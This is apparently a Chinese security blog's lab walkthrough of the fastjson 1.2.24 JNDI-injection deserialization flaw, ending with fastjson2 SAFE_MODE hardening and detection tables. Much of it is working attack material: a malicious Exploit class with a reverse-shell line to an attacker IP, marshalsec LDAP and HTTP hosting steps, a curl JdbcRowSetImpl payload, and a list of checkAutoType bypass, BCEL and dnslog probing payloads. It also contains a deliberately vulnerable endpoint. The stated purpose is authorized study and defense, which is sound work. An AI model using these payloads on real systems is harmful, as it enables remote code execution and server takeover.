fastjson反序列化漏洞实战攻防演练
约 4475 字大约 15 分钟
2026-07-29
重要声明:本文所有攻击操作均针对我自己搭建的本地靶场环境,目的是搞懂漏洞原理、验证防御方案的有效性。攻击别人的系统是违法行为,请只在授权环境(自己的机器、公司的渗透测试授权范围)内复现本文内容。
零、写在前面
上一篇文档我把 SAFE_MODE 的防御原理讲了一遍,但说实话,光讲防御不过瘾。
盾牌造得再好,没挨过打之前,心里总是没底的——它到底防不防得住?攻击者到底是怎么进来的?@type 字段是怎么一步步变成服务器上的命令执行的?
所以我决定:亲手搭一个有漏洞的靶场,把自己黑一遍。
这篇文章记录的就是完整过程:从写一个带漏洞的 Spring Boot 接口开始,到准备攻击武器,再到发送恶意请求、在靶机上弹出计算器(Linux 下是创建文件/反弹 shell),最后验证 SAFE_MODE 一开,整条攻击链瞬间失效。
整个过程打完一遍之后,再看 checkAutoType 里那个 if (SAFE_MODE) return null;,感受完全不一样了。
一、先理清整条攻击链
动手之前,先把地图画出来,免得打一半迷路。
攻击 fastjson 反序列化漏洞,经典链路是 JNDI 注入,一共需要三个角色:
① 靶机(受害服务器)
跑着带漏洞的 Spring Boot 应用,用了低版本 fastjson,接口直接 JSON.parseObject(请求体)
② 攻击者的 LDAP/RMI 服务
一个恶意的目录服务,作用是"指路"——告诉靶机:你要的类在 ③ 那里,去拿吧
③ 攻击者的 HTTP 服务
托管着恶意 .class 文件,靶机会从这里下载恶意类的字节码攻击流程:
攻击者发送恶意 JSON
↓
靶机 fastjson 解析 @type → 反射创建 JdbcRowSetImpl
↓
调用 setDataSourceName("ldap://攻击者/Exploit")
↓
调用 setAutoCommit(true) → 触发 JNDI lookup
↓
靶机连上攻击者的 LDAP 服务 → LDAP 说"去 HTTP 服务器下载这个类"
↓
靶机下载恶意 .class → 加载执行 → 恶意代码在靶机上运行
↓
计算器弹出 / 文件被创建 / shell 被反弹看明白了吧——靶机是"自愿"来连攻击者的。fastjson 的 @type 只是入口,真正干活的是 JNDI 的远程类加载机制。
JDK 版本说明:远程类加载在 JDK 8u191 之后被默认限制了(
trustURLCodebase=false),所以本文靶场用 JDK 8u181 以下版本演示经典效果;高版本 JDK 也有绕过方式(本地 factory 类利用,比如 Tomcat 的BeanFactory+ELProcessor),文章后面会提。
二、搭建受害者:一个有漏洞的 Spring Boot 靶场
2.1 引入带漏洞的 fastjson
经典的反序列化漏洞版本是 fastjson 1.2.24(1.2.25 引入 checkAutoType 之前,AutoType 默认完全放开,是最"丝滑"的漏洞版本)。
pom.xml:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.5.RELEASE</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- 漏洞核心:fastjson 1.2.24 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- 模拟真实项目:连个数据库 -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.33</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
</dependencies>2.2 写一个"很常见"的漏洞接口
这个接口的写法,跟很多老项目里真实存在的写法一模一样——用 JSONObject 接参,图省事直接 JSON.parseObject:
@RestController
public class OrderController {
/**
* 漏洞接口:直接解析外部传入的 JSON,不指定目标类型
* 真实项目里大量存在这种写法
*/
@PostMapping("/order/submit")
public String submitOrder(@RequestBody String body) {
// 危险写法!body 完全来自外部,@type 由攻击者控制
Object obj = JSON.parseObject(body);
return "订单解析成功:" + obj.getClass().getName();
}
}2.3 数据库配置(模拟真实业务)
application.yml:
server:
port: 8080
spring:
datasource:
url: jdbc:mysql://localhost:3306/test_db?useSSL=false&serverTimezone=UTC
username: root
password: 123456启动类常规写法,略。启动后,一个"正常"的接口就有了:
curl -X POST http://localhost:8080/order/submit \
-H "Content-Type: application/json" \
-d '{"orderNo":"MX001","amount":100}'
# 返回:订单解析成功:com.alibaba.fastjson.JSONObject一切正常。谁能想到,这个接口现在就是一扇没锁的门。
三、准备攻击武器
现在切换到攻击者视角。我们需要三样东西:恶意类、LDAP 指路服务、HTTP 托管服务。
3.1 第一步:编写恶意类
这是要在靶机上执行的代码。来个最经典的——弹计算器(换成 touch /tmp/pwned 或反弹 shell 也一样):
// Exploit.java
public class Exploit {
static {
// 静态代码块:类被加载的瞬间就执行,连实例化都不需要
try {
Runtime.getRuntime().exec("calc.exe"); // Windows:弹计算器
// Runtime.getRuntime().exec("touch /tmp/pwned"); // Linux:留记号
// 反弹 shell(重点目标,后面细讲):
// Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/攻击者IP/9999 0>&1"});
} catch (Exception e) {
e.printStackTrace();
}
}
}为什么是静态代码块?因为类加载时 static {} 自动执行,不需要等 fastjson 调 setter,加载即中招。
编译它:
javac Exploit.java
# 生成 Exploit.class3.2 第二步:启动恶意 LDAP 服务
手写 LDAP 服务太麻烦,安全圈有个著名工具 marshalsec(Java 反序列化研究的标准工具):
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests启动 LDAP 指路服务:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
com.mchange.v2.ser.SerializableUtils... # 开玩笑,正确的类是:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://攻击者IP:8888/#Exploit" 1389参数含义:
http://攻击者IP:8888/#Exploit—— 当有人来查询时,告诉他:"你要的类在http://攻击者IP:8888/Exploit.class,去下载吧"1389—— LDAP 服务监听端口
3.3 第三步:HTTP 服务托管恶意类
把编译好的 Exploit.class 放到一个目录,起一个最简单的 HTTP 服务:
# Python 一行搞定
cd /存放Exploit.class的目录
python -m http.server 8888或者 Java 系选手用:
# 用 ncat / nginx / 随便什么静态服务器都行,能下载到 Exploit.class 就行至此,攻击武器部署完毕:
LDAP 指路服务:攻击者IP:1389 ←—— 靶机会来问"这个类在哪"
HTTP 类托管: 攻击者IP:8888 ←—— 靶机会来下载 Exploit.class四、开火:发送恶意 Payload
万事俱备。构造那条要命的 JSON:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://攻击者IP:1389/Exploit",
"autoCommit": true
}用 curl 打过去:
curl -X POST http://靶机IP:8080/order/submit \
-H "Content-Type: application/json" \
-d '{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://攻击者IP:1389/Exploit",
"autoCommit": true
}'靶机内部发生了什么(慢动作回放)
1. Spring 接收请求体 → 传给 JSON.parseObject(body)
2. fastjson 词法分析 → 发现 "@type" 字段
3. 1.2.24 版本没有任何检查 → 直接 TypeUtils.loadClass("com.sun.rowset.JdbcRowSetImpl")
4. 类加载成功(JDK 自带的类)→ 反射 newInstance()
5. fastjson 遍历剩余字段,按 setter 规则赋值:
- "dataSourceName" → setDataSourceName("ldap://攻击者IP:1389/Exploit")
- "autoCommit" → setAutoCommit(true)
6. JdbcRowSetImpl.setAutoCommit(true) 内部逻辑:
→ 初始化连接 → 用 dataSourceName 发起 JNDI lookup
→ 连接到攻击者的 LDAP 服务(1389 端口)
7. LDAP 返回 Reference:"类名 Exploit,codebase http://攻击者IP:8888/"
8. 靶机的 JNDI 客户端 → 从 HTTP 服务下载 Exploit.class
9. 类加载 → static{} 静态代码块执行
10. Runtime.exec("calc.exe") 在靶机上运行啪,靶机上弹出了计算器。
太棒了,道爷我成了!——说真的,第一次在自己搭的靶场上看到这个计算器弹出来的时候,浑身鸡皮疙瘩。一个 HTTP 请求,几行 JSON,服务器就被你牵着鼻子走了:连你的服务、下你的代码、执行你的命令。整个过程服务器没有报任何异常,日志里干干净净。
而这还只是弹个计算器。把 calc.exe 换成反弹 shell,拿到的就是整个终端。
五、Payload 的十八般变化
真实的攻防中,JdbcRowSetImpl 只是最出名的入口。fastjson 的历史 CVE 里,可用的 gadget(利用链入口类) 有一大串,我把主流的列出来:
5.1 经典 JNDI 系(需要出网 + 低版本 JDK)
// ① JdbcRowSetImpl(本文演示的,1.2.24 通杀)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP:1389/Exploit","autoCommit":true}
// ② RMI 版(效果相同,协议换成 RMI)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:1099/Exploit","autoCommit":true}5.2 绕过 checkAutoType 的黑名单逃逸(1.2.25 ~ 1.2.47)
fastjson 加了 checkAutoType 之后,安全圈跟官方玩了好几年"猫鼠游戏":
// ③ 双写 @type 绕过(1.2.25-1.2.41)
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP:1389/Exploit","autoCommit":true}}
// ④ L; 开头结尾绕过(1.2.42 黑名单按类名前缀匹配,用 Lcom.sun.rowset.JdbcRowSetImpl; 绕过字符串比对)
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://IP:1389/Exploit","autoCommit":true}
// ⑤ 分段拼接 + 缓存投毒(1.2.43:连续 LL;; 绕过)
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://IP:1389/Exploit","autoCommit":true}
// ⑥ [ 开头数组绕过(1.2.45)
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://IP:1389/Exploit","autoCommit":true}
// ⑦ 缓存投毒 + BasicDataSource(1.2.47 通杀,无需出网,配合本地类加载)
{
"a": {"@type":"java.lang.Class","val":"com.sun.org.apache.commons.dbcp.BasicDataSource"},
"b": {"@type":"com.sun.org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"$$BCEL$$...(BCEL编码的恶意类字节码)..."}
}每一轮绕过的本质都一样:checkAutoType 的校验逻辑是字符串比对/前缀匹配,攻击者就构造"校验时看着不像危险类、加载时却能还原成危险类"的畸形类名。校验和加载两个环节的认知差,就是绕过的生存空间。
5.3 不出网的 BCEL 利用(高版本 JDK、内网环境)
JDK 8u191+ 不让远程下载类了?没关系,还有 BCEL ClassLoader——com.sun.org.apache.bcel.internal.util.ClassLoader 是 JDK 自带的类加载器,支持把字节码以 BCEL 编码格式直接写在类名里:
{
"@type": "org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$..."
}恶意类的字节码经过 BCEL 编码后直接塞在 JSON 里,不需要外部服务器,一个请求搞定。这就是为什么说"没出网也不安全"。
5.4 探测与盲打技巧
打黑盒目标时,攻击者不会一上来就扔 payload,而是先探测:
// 探测1:目标用没用 fastjson?发个畸形 JSON 看报错
{"@type":"aaaaa → 报错信息里若出现 "fastjson" / "autoType is not support",实锤
// 探测2:AutoType 开没开?用 dnslog 探测
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
// 如果 dnslog 平台收到解析记录 → 目标解析了 @type → AutoType 可用
// 探测3:精确到版本
{"@type":"java.lang.AutoCloseable" → 不同版本对这个 payload 的报错不同,可反推版本号5.5 Payload 攻击类型与异常检测对照表
上面讲的都是"怎么打进来",但作为防御方,更关心的是:打进来之后他能干什么?我怎么从日志、进程、网络流量里发现异常?
同一个反序列化入口,Payload 里的恶意代码可以变成完全不同的攻击目的。我把常见的攻击类型、留下的痕迹、检测手段整理成对照表,排查的时候照着表对号入座就行:
| 攻击类型 | Payload 典型特征 | 攻击者得到什么 | 靶机上留下的痕迹 | 快速发现异常的方法 |
|---|---|---|---|---|
| 命令执行(RCE) | Runtime.exec("calc/touch/id") | 执行任意系统命令 | java 进程下挂出陌生子进程 | 监控 java 进程的子进程创建——一个 Java Web 服务去 fork 系统命令,本身就是最大的异常 |
| 反弹 Shell | bash -i >& /dev/tcp/IP/端口 0>&1 | 拿到交互式终端,长期控制 | bash/sh 进程带 -i 参数;java 子进程的网络连接被重定向到终端 | 出站连接告警:服务器主动连陌生 IP 的高位端口;检查 ls -l /proc/进程fd/ 看 fd 是否指向 socket |
| Webshell 落地 | 写 jsp/jspx 文件到 web 目录 | 持久的 Web 后门,随时回来 | webapps 目录多出陌生 jsp;文件创建时间与攻击请求时间吻合 | Web 目录文件完整性监控(FIM);定期 diff 目录文件清单 |
| 内存马注入 | 动态注册恶意 Filter/Servlet/Controller | 无文件后门,重启才消失 | 磁盘上什么都不留;Filter 链里多出匿名实现类 | 内存扫描(arthas/copo 工具);对比路由表/Filter 数量是否莫名增加 |
| 敏感信息窃取 | 读 /etc/passwd、环境变量、配置文件 | 数据库密码、密钥、内网拓扑 | 敏感文件被读取的访问记录;异常数据外发流量 | 文件访问审计;出站流量里出现 base64 编码的配置内容 |
| DNS 外带数据 | xxx.窃取的数据.dnslog.cn | 绕过防火墙限制,把数据藏在 DNS 查询里带出去 | 大量随机子域名的 DNS 查询 | DNS 查询监控:域名长度异常、单域名下大量不同子域 |
| SSH 公钥写入(持久化) | 写 ~/.ssh/authorized_keys | 免密 SSH 登录,永久后门 | authorized_keys 文件被修改 | 关键文件变更监控;登录日志出现陌生公钥登录记录 |
| 计划任务植入 | 写 crontab / systemd timer | 定时回连,重启不死 | crontab 多出陌生条目 | crontab -l 定期审计;/etc/cron.d/ 目录监控 |
| 下载二阶段载荷 | wget/curl 拉取矿机/勒索软件 | 挖矿、勒索、扩大战果 | java 子进程发起 HTTP 下载可执行文件 | 出站 HTTP 下载审计;服务器 CPU 突然飙高(挖矿特征) |
| JNDI 出网连接 | ldap:// rmi:// dataSourceName | (攻击前置步骤)远程加载类 | 服务器主动连接外部 389/1389/1099 端口 | 最直接的高危信号:业务服务器没有任何理由主动连 LDAP/RMI,看到就告警 |
| 漏洞探测扫描 | Inet4Address + dnslog;故意写错的 @type | 确认目标是否可用、版本号 | 应用日志里出现 fastjson 解析异常、autoType 相关报错 | 日志关键字告警:"autoType"、"fastjson" 异常集中出现 = 有人在扫你 |
| 拒绝服务(DoS) | 特殊构造导致死循环/内存溢出 | 服务瘫痪 | CPU/内存暴涨,大量 Full GC | 资源监控告警;异常请求量突增 |
5.6 请求侧特征关键字(WAF/网关层直接可用)
上面是事后检测,这些关键字可以前置到 WAF 或网关层做实时拦截——请求体里出现以下内容,直接告警或阻断:
| 关键字 | 说明 | 危险等级 |
|---|---|---|
"@type" | AutoType 的入口字段,业务 JSON 里根本不该出现 | 高危,出现即告警 |
JdbcRowSetImpl / com.sun.rowset | 最经典的 JNDI gadget | 极高 |
ldap:// rmi:// iiop:// corba:// | JNDI 协议头,业务请求里出现必是攻击 | 极高 |
dataSourceName + autoCommit 组合 | JdbcRowSetImpl 利用链的标志性字段对 | 极高 |
$$BCEL$$ | BCEL 编码的恶意字节码,不用出网的杀手锏 | 极高 |
TemplatesImpl / _bytecodes | 另一条经典 gadget 链(加载字节码执行) | 极高 |
Lcom. LL ;; 等畸形类名 | 黑名单绕过的典型特征,正常类名不长这样 | 高 |
ClassLoader 出现在 JSON 值里 | 动态类加载意图 | 高 |
Inet4Address/InetSocketAddress/AutoCloseable | 探测型 payload 常用类 | 中(探测行为) |
注意一个核心理念:正常业务请求的 JSON 里,永远不应该出现
@type。这一个字段就足以作为网关层的一级告警规则。反过来,如果你们的业务真的依赖@type做多态传输,那这条规则就得让位给更精细的白名单——这也是为什么 SAFE_MODE 一刀切之后,检测规则反而变得简单粗暴:谁发@type谁就是攻击者,没有例外。
六、加固演练:打开 SAFE_MODE 再打一遍
现在轮到防御方出场。把靶机的 fastjson 换成 fastjson2,启动参数加上:
java -Dfastjson2.safeMode=true -jar target-app.jar原样再发一遍那个 JdbcRowSetImpl payload。
结果:服务器返回正常业务响应,后台静悄悄。 打开 fastjson2 源码的 ObjectReaderProvider.checkAutoType(),你会看到请求就是死在这一行:
if (SAFE_MODE) {
return null; // @type 被当成普通字符串,没有任何类被加载
}LDAP 服务那边零连接,HTTP 服务零下载,Exploit.class 安安静静躺在那里,无人问津。
攻击链在第二步就断了——不是"检测到危险然后拦截",而是"压根没有执行检测的后续动作"。这就是上一篇文档说的:消灭攻击面,而不是拦截攻击。
牛 p 的地方就在这:不管你 payload 怎么变形、gadget 怎么换、BCEL 怎么编码,只要入口是 @type,SAFE_MODE 一视同仁,全部当空气。
七、打完收工:复盘要点
| 环节 | 攻击方做了什么 | 防御方该怎么破 |
|---|---|---|
| 入口 | 控制 HTTP 请求体里的 @type | 接口入参明确 DTO 类型,禁用裸 JSONObject 接参 |
| 类加载 | 利用 fastjson AutoType 加载危险类 | 升级 fastjson2 + 开 SAFE_MODE |
| 远程代码获取 | 搭建 LDAP/RMI + HTTP 服务 | 服务器禁出网 / 出网白名单,堵死 JNDI 外连 |
| 执行 | static 块 / setter 触发 Runtime.exec | JDK 8u191+ 默认关远程 codebase;部署 RASP |
| 探测 | 报错信息泄露组件和版本 | 统一异常处理,不向外暴露框架报错细节 |
留给自己的三个灵魂拷问
- 我们的接口里,还有多少
JSON.parseObject(body)不带类型的写法? - 我们的服务器,出网策略是不是放得太宽了?(这次攻击里靶机要能连 LDAP 才能中招)
- Redis 里存的那些带
@type的老数据,是历史包袱还是定时炸弹?
亲手打一遍的价值就在这——漏洞不再是公告里的一行 CVE 编号,而是你眼前真实弹出的那个计算器。 从此看每一行 JSON.parseObject,都会条件反射地多看一眼。
附录:实验环境清单
| 角色 | 环境 | 说明 |
|---|---|---|
| 靶机 | Windows/Linux + JDK 1.8.0_181 以下 | 高版本 JDK 默认禁远程类加载,演示效果不佳 |
| 漏洞应用 | Spring Boot 2.3.5 + fastjson 1.2.24 | AutoType 默认全开的最脆弱版本 |
| 攻击机 | 任意机器(可与靶机同机) | 跑 marshalsec + HTTP 服务 |
| 工具 | marshalsec、curl、Python(起 HTTP) | 全部为公开安全研究工具 |
| 网络 | 靶机与攻击机互通 | 靶机需要能访问攻击机的 1389/8888 端口 |
再次强调:以上所有操作仅限自己搭建的实验环境。未授权攻击他人系统违反《网络安全法》及相关法律,安全研究请务必守住授权边界。